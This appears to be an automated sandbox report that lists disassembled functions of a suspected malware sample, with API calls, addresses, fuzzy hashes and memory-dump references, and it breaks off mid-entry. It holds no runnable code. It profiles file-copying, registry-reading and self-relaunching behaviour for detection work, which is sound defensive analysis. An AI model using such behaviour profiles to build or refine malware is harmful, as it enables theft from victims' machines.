API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: 36a1aade9beab669742e698a5986ef2a8e6d9b7fa0e45cca69d8a80143706e49
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 9B011E75A18108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40DB96

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 0041CA72 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CA7E

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__getptd.LIBCMT ref: 0041CA95
__amsg_exit.LIBCMT ref: 0041CAA3
__lock.LIBCMT ref: 0041CAB3
__updatetlocinfoEx_nolock.LIBCMT ref: 0041CAC7

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction ID: c5a7914bfd81a4edf64c409ce704b1973edb92a02c079c255f399551119664c9
Opcode Fuzzy Hash: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction Fuzzy Hash: D0F06231A803189BD622FBA95C867DE33A0AF40758F50014FE405562D2CB7C59C186DE

Function 6D4AD76F Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6D4ADB97

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: 1bc97fda9e57bf96a2d47d2fb9a362cc24ec851449d0a634cc108da72ecda312
Instruction ID: 28163f2e8a4da3690e415fd7c1aa0d060dd0536ce7c3bd06d039af5672e9d3f5
Opcode Fuzzy Hash: 1bc97fda9e57bf96a2d47d2fb9a362cc24ec851449d0a634cc108da72ecda312
Instruction Fuzzy Hash: EDF17275D05B888FDB22CF74C840BDABBF4AF5A300F04869ED8996B642D734A945CF51

Function 6D4860B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 6D486183

Strings

T<Mm, xrefs: 6D4862DB
T<Mm, xrefs: 6D4862CD
pLGm, xrefs: 6D4860B0

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: closesocket
String ID: T<Mm$T<Mm$pLGm
API String ID: 2781271927-3343540400
Opcode ID: 37787dcea6940bed0424ad48b2c1db68c2f4951985f3f0baf190b47bc8185de1
Instruction ID: b14ccf0ca20762649405a2efacef69a53a59566aecab89c74afc7b3499d017e0
Opcode Fuzzy Hash: 37787dcea6940bed0424ad48b2c1db68c2f4951985f3f0baf190b47bc8185de1
Instruction Fuzzy Hash: 79B111B5910F459BD361CF29C484B82FBF1BF4A354F108A1DD8AA5BA52E771F885CB80

Function 6D4AD6CD Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6D4ADB97

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: a997296f784ab93773faa15c4ced2087920f62203f8f8389d53ea2b494824a09
Instruction ID: d968cc25ba17db66c34150569fab29b27160b6458c635983c25e2889d5e0ff0b
Opcode Fuzzy Hash: a997296f784ab93773faa15c4ced2087920f62203f8f8389d53ea2b494824a09
Instruction Fuzzy Hash: C4918DB5904B848FD722CF24C840B97BBF4BF5A314F04895EE99A87B51E734E909CB61

Function 004168D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416903

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 004169C6
ExitProcess.KERNEL32 ref: 004169F5

Strings

<, xrefs: 00416979

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 6309f987c5576449523e35a66a9f27d2d04863997d0936e0eb091d918765fc7a
Instruction ID: 69e214fcc2f82cbe4d830bf51364f862e1744f727ac50a07542482e63681b1c7
Opcode Fuzzy Hash: 6309f987c5576449523e35a66a9f27d2d04863997d0936e0eb091d918765fc7a
Instruction Fuzzy Hash: 82313AB1902218ABDB14EB91DC92FDEB779AF08314F40418EF20566191DF787B88CF69

Function 6D4C4FC2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6D4C4F73,00000000,?,00000001,?,?,?,6D4C5062,00000001,FlsFree,6D50E690,FlsFree), ref: 6D4C4FCF
GetLastError.KERNEL32(?,6D4C4F73,00000000,?,00000001,?,?,?,6D4C5062,00000001,FlsFree,6D50E690,FlsFree,00000000,?,6D4C3F04), ref: 6D4C4FD9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6D4C5001

Strings

api-ms-, xrefs: 6D4C4FE6

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 32f040263a669ed8ec1bff14c0dfef302723c68b8f8ea9c0a484f7552f691334
Instruction ID: 261f618c1c71c6da8d08ae85735dc72ffb89a80b31c6c56659de9f7dd4510aac
Opcode Fuzzy Hash: 32f040263a669ed8ec1bff14c0dfef302723c68b8f8ea9c0a484f7552f691334
Instruction Fuzzy Hash: CCE04F34644249B7EF113AA2DD05FBD3F799B41B44F204420FE0DE85A6E761ED10C6C5

Function 00418EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
wsprintfW.USER32 ref: 00418F08

Strings

%hs, xrefs: 00418EFF

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction ID: abe7276d6e58fd7f286e9bcc6e4dd5022fdd169b0d4b331efbe0e5b16b2cc016
Opcode Fuzzy Hash: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction Fuzzy Hash: 47E08C70E49308BBDB00DB94ED0AF6D77B8EB44302F000196FD0987340EA719F008B96

Function 00413E2B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

P2#v, xrefs: 00413EB7
q?A, xrefs: 00413ED2

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: P2#v$q?A
API String ID: 3840410801-3677657879
Opcode ID: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction ID: 435e47d99a68a60cc5746cb21b8f71e50488397b794716e085ba6dfc691b5c27
Opcode Fuzzy Hash: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction Fuzzy Hash: B3D05B7190411D5BCB10EF64DD489EA7378EB55705F0041CAF40E97150FB349F858F55

Function 61E40BB5 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E40C37
memcmp.MSVCRT ref: 61E40C5C
memcmp.MSVCRT ref: 61E40C86
memcmp.MSVCRT ref: 61E40CB5
memcmp.MSVCRT ref: 61E40CE1

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction ID: fd79a925e1d847c1357e69ee8e74f21d123acc92255d85b94bee504056160bb0
Opcode Fuzzy Hash: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction Fuzzy Hash: C0414EB0A083058BE7049FA9D68439EBAF5EFD5358F25C83DE898CB384D775D4458B42

Function 6D4CA8A2 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(433200CE,00000000,00000000,?), ref: 6D4CA905

Part of subcall function 6D4C82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6D4CA340,?,00000000,-00000008), ref: 6D4C8332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6D4CAB57
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6D4CAB9D
GetLastError.KERNEL32 ref: 6D4CAC40

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 46451d266523d7c76cc12f4093ae123813e60dcabdcce734396f68525e958a4f
Instruction ID: a2c0b67a19fb3bcf9f9611fe91aed1a018b74df5b998d561a6b6c3b7fb07c6fd
Opcode Fuzzy Hash: 46451d266523d7c76cc12f4093ae123813e60dcabdcce734396f68525e958a4f
Instruction Fuzzy Hash: D8D15979D042499FCB15CFA8C881EADBBB5FF09314F24852AE926AB351D730AD42CF51

Function 0040D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D581
lstrlenA.KERNEL32(00000000), ref: 0040D798
lstrlenA.KERNEL32(00000000), ref: 0040D7AC
DeleteFileA.KERNEL32(00000000), ref: 0040D82B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 397021b87cb8b9312f6f919109cf33518d418f105f9f5825f377c286fa5de0bf
Instruction ID: cd95120e3309aa2a4ee5e09d67847ecab6e8b781cb92854c7d2ac691bd2160a2
Opcode Fuzzy Hash: 397021b87cb8b9312f6f919109cf33518d418f105f9f5825f377c286fa5de0bf
Instruction Fuzzy Hash: CF911672E111089BCB04FBA1EC66DEE7339AF14314F50456EF11672095EF387A98CB6A

Function 0040D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1470a2350d40eb42652b4e8b6454d432b504dcb76ed1abfaabca383aee9bd1c7
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: 1470a2350d40eb42652b4e8b6454d432b504dcb76ed1abfaabca383aee9bd1c7
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 6D4C3F0F Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6D4C3FD6
___AdjustPointer.LIBCMT ref: 6D4C3FF9
___AdjustPointer.LIBCMT ref: 6D4C4095

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a346a0dc3028e0405aeaf873cd7225100661e14020b56add4b67b817361690d5
Instruction ID: adf9dc330e2167ba99ac13aba76426f935a4993f8ac144c35372f5b636deadb0
